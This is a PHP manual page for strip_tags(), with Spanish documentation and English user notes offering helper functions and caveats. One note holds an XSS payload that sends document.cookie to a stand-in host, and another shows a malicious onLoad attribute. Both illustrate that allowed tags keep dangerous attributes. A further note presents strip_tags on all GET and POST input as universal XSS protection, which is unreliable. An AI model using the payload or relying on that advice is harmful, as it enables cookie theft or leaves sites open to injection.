PHP 7.1.0 Release Candidate 3 Released

strip_tags

(PHP 4, PHP 5, PHP 7)

strip_tagsRetira las etiquetas HTML y PHP de un string

Descripción

string strip_tags ( string $str [, string $allowable_tags ] )

Esta función intenta devolver un string con todos los bytes NULL y las etiquetas HTML y PHP retirados de un str dado. Se utiliza la misma máquina de estado de retirado de etiquetas que la función fgetss().

Parámetros

str

El string de entrada.

allowable_tags

Se puede usar el segundo parámetro opcional para especificar cuales etiquetas no deben ser retiradas.

Nota:

Los comentarios HTML y etiquetas PHP también son retirados. Esto está en el código y no puede ser cambiado mediante allowable_tags.

Nota:

En PHP 5.3.4 y posterior, la etiquetas de autocierre de XHTML son ignoradas, por lo que solamente deberían utilizarse etiquetas sin autocierre en allowable_tags. Por ejemplo, para permitir tanto <br> como <br/>, se debería utilizar:

<?php
strip_tags
($input'<br>');
?>

Valores devueltos

Devuelve el string con las etiquetas retiradas.

Historial de cambios

Versión Descripción
5.3.4 strip_tags() ignora las etiquetas de autocierre de XHTML en allowable_tags.
5.0.0 strip_tags() ahora es segura a nivel binario.

Ejemplos

Ejemplo #1 Ejemplo de strip_tags()

<?php
$text 
'<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo 
strip_tags($text);
echo 
"\n";

// Permite <p> y <a>
echo strip_tags($text'<p><a>');
?>

El resultado del ejemplo sería:

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

Notas

Advertencia

Debido a que strip_tags() en realidad no valida el HTML, etiquetas parciales o rotas, pueden resultar en la eliminación de más texto/datos de lo que se espera.

Advertencia

Esta función no modifica los atributos de las etiquetas que se permitan mediante allowable_tags, incluyendo los los atributos style y onmouseover que un usuario malicioso puede abusar al postear texto que se mostrará a otros usuarios.

Nota:

Los nombres de etiquetas en de la entrada HTML que sean mayores que 1023 bytes de longitud, serán tratados como no válidos, independientemente del parámetro allowable_tags.

Ver también

add a note add a note

User Contributed Notes 21 notes

up
78
mariusz.tarnaski at wp dot pl
7 years ago
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

 
preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
 
$tags = array_unique($tags[1]);
   
  if(
is_array($tags) AND count($tags) > 0) {
    if(
$invert == FALSE) {
      return
preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
    }
    else {
      return
preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
    }
  }
  elseif(
$invert == FALSE) {
    return
preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
  }
  return
$text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
text with <div>tags</div>

I hope that someone is useful :)
up
42
CEO at CarPool2Camp dot org
7 years ago
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br>');
var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
up
22
bzplan at web dot de
3 years ago
a HTML code like this:

<?php
$html
= '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'
;
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood';

notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str

if you need a space between the words (and without line-break)
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood';

the function:

<?php
// --------------------------------------------------------------

function rip_tags($string) {
   
   
// ----- remove HTML TAGs -----
   
$string = preg_replace ('/<[^>]*>/', ' ', $string);
   
   
// ----- remove control characters -----
   
$string = str_replace("\r", '', $string);    // --- replace with empty space
   
$string = str_replace("\n", ' ', $string);   // --- replace with space
   
$string = str_replace("\t", ' ', $string);   // --- replace with space
   
    // ----- remove multiple spaces -----
   
$string = trim(preg_replace('/ {2,}/', ' ', $string));
   
    return
$string;

}

// --------------------------------------------------------------
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
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5
Trititaty
9 months ago
Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
 
$allowable_tags = array_map( 'strtolower', array_filter( // lowercase
     
preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
     
function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
 
) );
 
$comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
  foreach (
$comments_and_stuff as $i => $comment_or_stuff ) {
    if (
$i % 2 ) { // html comment
     
if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
       
$comments_and_stuff[$i] = '';
      }
    } else {
// stuff between comments
     
$tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
      foreach (
$tags_and_text as $j => $tag_or_text ) {
       
$is_broken = false;
       
$is_allowable = true;
       
$result = $tag_or_text;
        if (
$j % 2 ) { // tag
         
if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
           
$tag = strtolower( $matches[2] );
            if (
in_array( $tag, $allowable_tags ) ) {
              if (
$strip_attrs ) {
               
$opening = $matches[1];
               
$closing = ( $opening === '</' ) ? '>' : $closing;
               
$result = $opening . $tag . $closing;
              }
            } else {
             
$is_allowable = false;
             
$result = '';
            }
          } else {
           
$is_broken = true;
           
$result = '';
          }
        } else {
// text
         
$tag = false;
        }
        if ( !
$is_broken && isset( $callback ) ) {
         
// allow result modification
         
call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
        }
       
$tags_and_text[$j] = $result;
      }
     
$comments_and_stuff[$i] = implode( '', $tags_and_text );
    }
  }
 
$str = implode( '', $comments_and_stuff );
  return
$str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.
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4
doug at exploittheweb dot com
1 year ago
"5.3.4    strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags
up
0
stever at starburstpublishing dot com dot au
10 days ago
Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
 
$xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
 
libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
 
$allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
 
$allowed_attrs = array ("class", "id", "style");
  if (!
strlen($html_str)){return false;}
  if (
$xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
    foreach (
$xml->getElementsByTagName("*") as $tag){
      if (!
in_array($tag->tagName, $allowed_tags)){
       
$tag->parentNode->removeChild($tag);
      }else{
        foreach (
$tag->attributes as $attr){
          if (!
in_array($attr->nodeName, $allowed_attrs)){
           
$tag->removeAttribute($attr->nodeName);
          }
        }
      }
    }
  }
  return
$xml->saveHTML();
}
?>
up
0
valentin dot boschatel at evalandgo dot com
1 year ago
Hi,

I havee a problem with this function. I want use this symbol in my text ( < ), but it doesn't work because I added character stuck to that symbol.

Exemple :
<?php
$test
= '<p><span style="color: #ff0000; background-color: #000000;">Complex</span> <span style="font-family: impact,chicago;">text <50% </span> <a href="http://exempledomain.com/"><em>with</em></a> <span style="font-size: 36pt;"><strong>tags</strong></span></p>';

echo
strip_tags('$test');
// Outputs : Complex text
?>

I made a function for this :

Function:
<?php
function strip_tags_review($str, $allowable_tags = '') {

   
preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($allowable_tags), $tags);
   
$tags = array_unique($tags[1]);

    if(
is_array($tags) AND count($tags) > 0) {
       
$pattern = '@<(?!(?:' . implode('|', $tags) . ')\b)(\w+)\b.*?>(.*?)</\1>@i';
    }
    else {
       
$pattern = '@<(\w+)\b.*?>(.*?)</\1>@i';
    }

   
$str = preg_replace($pattern, '$2', $str);
    return
preg_match($pattern, $str) ? strip_tags_review($str, $allowable_tags) : $str;
}

echo
strip_tags_review($test);
// Outputs: Complex text <50%  with tags

echo strip_tags_review($test, '<a>');
// Outputs: Complex text <50%  <a href="http://exempledomain.com">with</a> tags
?>
up
1
cesar at nixar dot org
10 years ago
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return
is_array($value) ?
   
array_map('strip_tags_deep', $value) :
   
strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>
up
0
bnt dot gloria at outlook dot com
2 years ago
With allowable_tags, strip-tags is not safe.

<?php

$str
= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo
$str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
up
0
obeyer at popsugar dot com
2 years ago
actually, for PHP 5.4.19, if you want to add line breaks <br> to allowable tags, you should use "<br>". Both <br/> and <br /> in allowable tags won't do anything, and line breaks will be stripped
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-3
tom at cowin dot us
6 years ago
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

   
function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
    {
       
mb_regex_encoding('UTF-8');
       
//replace MS special characters first
       
$search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
       
$replace = array('\'', '\'', '"', '"', '-');
       
$text = preg_replace($search, $replace, $text);
       
//make sure _all_ html entities are converted to the plain ascii equivalents - it appears
        //in some MS headers, some html entities are encoded and some aren't
       
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
       
//try to strip out any C style comments first, since these, embedded in html comments, seem to
        //prevent strip_tags from removing html comments (MS Word introduced combination)
       
if(mb_stripos($text, '/*') !== FALSE){
           
$text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
        }
       
//introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
        //'<1' becomes '< 1'(note: somewhat application specific)
       
$text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
       
$text = strip_tags($text, $allowed_tags);
       
//eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
       
$text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
       
//strip out inline css and simplify style tags
       
$search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
       
$replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
       
$text = preg_replace($search, $replace, $text);
       
//on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
        //some MS Style Definitions - this last bit gets rid of any leftover comments */
       
$num_matches = preg_match_all("/\<!--/u", $text, $matches);
        if(
$num_matches){
             
$text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
        }
        return
$text;
    }
?>
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-2
Dr. Gianluigi &#34;Zane&#34; Zanettini
11 months ago
A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.
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-3
sERGE-01
2 years ago
Fix for my Example2.
If the text does not have allowed tags, $out_text is empty. Fix:

<?php
    $out_text
= "";
   
$ofs = 0;
    if(
preg_match_all('#</?('.$tags_allowed.')\b([^><]*>)#sim', $in_text, $matches, PREG_OFFSET_CAPTURE))
    {
        foreach(
$matches[0] as $tag)
        {
           
$out_text .= htmlentities(substr($in_text, $ofs, $tag[1] - $ofs), ENT_NOQUOTES, "cp1251");
           
$out_text .= $tag[0];
           
$ofs = $tag[1] + strlen($tag[0]);
        }
    }
   
$out_text .= htmlentities(substr($in_text, $ofs), ENT_NOQUOTES, "cp1251"); // end of text
?>
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-3
fernando at zauber dot es
1 year ago
As you probably know, the native function strip_tags don't work very well with malformed HTML when you use the allowed tags parameter.
This is a very simple but effective function to remove html tags. It takes a list (array) of allowed tags as second parameter:

<?php
function flame_strip_tags($html, $allowed_tags=array()) {
 
$allowed_tags=array_map(strtolower,$allowed_tags);
 
$rhtml=preg_replace_callback('/<\/?([^>\s]+)[^>]*>/i', function ($matches) use (&$allowed_tags) {       
    return
in_array(strtolower($matches[1]),$allowed_tags)?$matches[0]:'';
  },
$html);
  return
$rhtml;
}
?>

The function works reasonably well with invalid/bad formatted HTML.

Use:

<?php
$allowed_tags
=array("h1","a");
$html=<<<EOD
<h1>Example</h1>
<dt><a href='/manual/en/getting-started.php'>Getting Started</a></dt>
    <dd><a href='/manual/en/introduction.php'>Introduction</a></dd>
    <dd><a href='/manual/en/tutorial.php'>A simple tutorial</a></dd>
<dt><a href='/manual/en/langref.php'>Language Reference</a></dt>
    <dd><a href='/manual/en/language.basic-syntax.php'>Basic syntax</a></dd>
    <dd><a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a></dd>
</dl>
EOD;
echo
flame_strip_tags($html,$allowed_tags);
?>

The output will be:

<h1>Example</h1>
<a href='/manual/en/getting-started.php'>Getting Started</a>
<a href='/manual/en/introduction.php'>Introduction</a>
<a href='/manual/en/tutorial.php'>A simple tutorial</a>
<a href='/manual/en/langref.php'>Language Reference</a>
<a href='/manual/en/language.basic-syntax.php'>Basic syntax</a>
<a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a>
up
-6
mshaffer
3 years ago
Below was a note on "strip_tags" page that got removed off of PHP.net ... I found this note useful, and use the code in parsing before "stripping tags" ... I don't know why in the world you would delete this one, but keep others ... your review system is a bit disturbing ...

On your page you have a warning about how data may be lost, but you delete a user-contributed comment that helps prevent that?

======================

aleksey at favor dot com dot ua 24-Feb-2011 01:06

strip_tags destroys the whole HTML behind the tags with invalid attributes. Like <img src="/images/image.jpg""> (look, there is an odd quote before >.)

So I wrote function which fixes unsafe attributes and replaces odd " and ' quotes with &quot; and &#39;.

<?php
function fix_unsafe_attributes($s) {
 
$out = false;
  while (
preg_match('/<([A-Za-z])[^>]*?>/', $s, $i, PREG_OFFSET_CAPTURE)) { // find where the tag begins
   
$i = $i[1][1]+1;
   
$out.= substr($s, 0, $i);
   
$s = substr($s, $i);

   
// scan attributes and find odd " and '
   
while (((($i1 = strpos($s, '"')) || 1) && (($i2 = strpos($s, '\'')) || 1)) && ($i1 !== false || $i2 !== false) &&
           ((
$i = (int)(($i1 !== false) && ($i2 !== false) ? ($i1 < $i2 ? $i1 : $i2) : ($i1 == false ? $i2 : $i1))) !== false) &&
           (((
$c = strpos($s, '>')) === false) || ($i < $c))) {

     
$c = $s{$i};
      if ((
$i < 1) || ($s{$i-1} != '=')) {
       
$out.= substr($s, 0, $i).($s{$i} == '"' ? '&quot;' : '&#39;'); // replace odd " and '
       
$s = substr($s, $i+1);
      }else {
       
$i++;
       
$out.= substr($s, 0, $i);
       
$s = substr($s, $i);

        if ((
$i = strpos($s, $c)) !== false) {
         
$i++;
         
$out.= substr($s, 0, $i);
         
$s = substr($s, $i);
        }
      }
    }
  }
  return
$out.$s;
}
?>

Maybe this function can be rewritten with simple regular expression but I have no luck to make it quickly.
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-2
denis dot for dot spam at gmail dot com
10 months ago
my function to remove specific tags with the content and can remove elements with attributes
<?php
function strip_selected_tags_content( $text, $tags = array() ) {
    foreach (
$tags as $key => $val ) {
        if ( !
is_array( $val ) ) {
           
$text = preg_replace( '/<' . $val . '[^>]*>([\s\S]*?)<\/' . $val . '[^>]*>/', '', $text );
        } else {
           
$text = preg_replace( '/<' . $val[0] . ' ' . $val[1] . '[^>]*>([\s\S]*?)<\/' . $val[0] . '[^>]*>/', '', $text );
        }
    }
    return
$text;
}
?>
example:
<?php
$clear
= array('social',
           
'script',
           
'noindex',
           
'time',
           
'header',
            array(
'div', 'class="tags"' ),
            array(
'div', 'class="box_comments"' ),
            array(
'p', 'class="form-submit"' ),
            array(
'div', 'class="comment-form-comment"' )
            )
text = '<preheader>image article</preheader>
<header>nnnnn</header>
<social>fb code, google code etc...</social>
etc....
<p class="text">
bla-bla bla-blabla-bla bla-blabla-bla bla-bla
</p>
<div>sdasda</div>
<div class="tags">true code, that code</div>
<div calss="comment-form-comment"> coment form on blog</div>
'
;
echo
strip_selected_tags_content($text, $clear);
?>
output:
<?php
<preheader>image article</preheader>
etc....
<
p class="text">
bla-bla bla-blabla-bla bla-blabla-bla bla-bla
</p>
<
div>sdasda</div>
?>
up
-5
sERGE-01
2 years ago
My strip_tags:

1) Simple removal of all disallowed tags. Broken tags remain unchanged:
<?php
    $tags_allowed
= "a|b|i|s|u|br";
   
$in_text = "<b>Bold</b><table><tr><td>Table</td></tr></table><br><i>Italic>></i><div>Div</div>";
   
   
$out_text = preg_replace('#</?(?!('.$tags_allowed.'))\b([^><]*>)#sim', "", $in_text);
   
    print
"Example 1:<br>";
    print
htmlentities($out_text)."<br>";
?>
-------------------------------
Example 1:
<b>Bold</b>Table<br><i>Italic>></i>Div
-------------------------------

2) This example leaves all allowed tags and screen the rest of the text with  htmlentities() function:
<?php
   
// getting all of allowed tags with their offset
   
if(preg_match_all('#</?('.$tags_allowed.')\b([^><]*>)#sim', $in_text, $matches, PREG_OFFSET_CAPTURE))
    {
       
$out_text = "";
       
$ofs = 0;
        foreach(
$matches[0] as $tag)
        {
           
// text before allowed tag
           
$out_text .= htmlentities(substr($in_text,$ofs,$tag[1]-$ofs), ENT_NOQUOTES, "cp1251");
           
$out_text .= $tag[0]; // next allowed tag
           
$ofs = $tag[1] + strlen($tag[0]);
        }
       
// adding end of text
       
$out_text .= htmlentities(substr($in_text, $ofs), ENT_NOQUOTES, "cp1251");
    }

    print
"Example 2:<br>";
    print
htmlentities($out_text)."<br>";
?>
-------------------------------
Example 2:
<b>Bold</b>&lt;table&gt;&lt;tr&gt;&lt;td&gt;Table&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br>
<i>Italic&gt;&gt;</i>&lt;div&gt;Div&lt;/div&gt;
-------------------------------
up
-4
pietro777
2 years ago
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />||<br/>||<br>');
var_dump($new); // OUTPUTS string(11) "<br>Each<br/>New<br />Line"
up
-7
salavert at~ akelos
10 years ago
<?php
      
/**
    * Works like PHP function strip_tags, but it only removes selected tags.
    * Example:
    *     strip_selected_tags('<b>Person:</b> <strong>Salavert</strong>', 'strong') => <b>Person:</b> Salavert
    */

   
function strip_selected_tags($text, $tags = array())
    {
       
$args = func_get_args();
       
$text = array_shift($args);
       
$tags = func_num_args() > 2 ? array_diff($args,array($text))  : (array)$tags;
        foreach (
$tags as $tag){
            if(
preg_match_all('/<'.$tag.'[^>]*>(.*)<\/'.$tag.'>/iU', $text, $found)){
               
$text = str_replace($found[0],$found[1],$text);
          }
        }

        return
$text;
    }

?>

Hope you find it useful,

Jose Salavert
up
-14
andy
2 years ago
<?php
//***    Universal prevent xss  ***
//   place this in top of script to prevent xss on your site
$_GET=array_map("strip_tags",$_GET);
$_POST=array_map("strip_tags",$_POST);
?>
up
-10
kai at froghh dot de
7 years ago
a function that decides if < is a start of a tag or a lower than / lower than + equal:

<?php
function lt_replace($str){
    return
preg_replace("/<([^[:alpha:]])/", '&lt;\\1', $str);
}
?>

It's to be used before strip_slashes.
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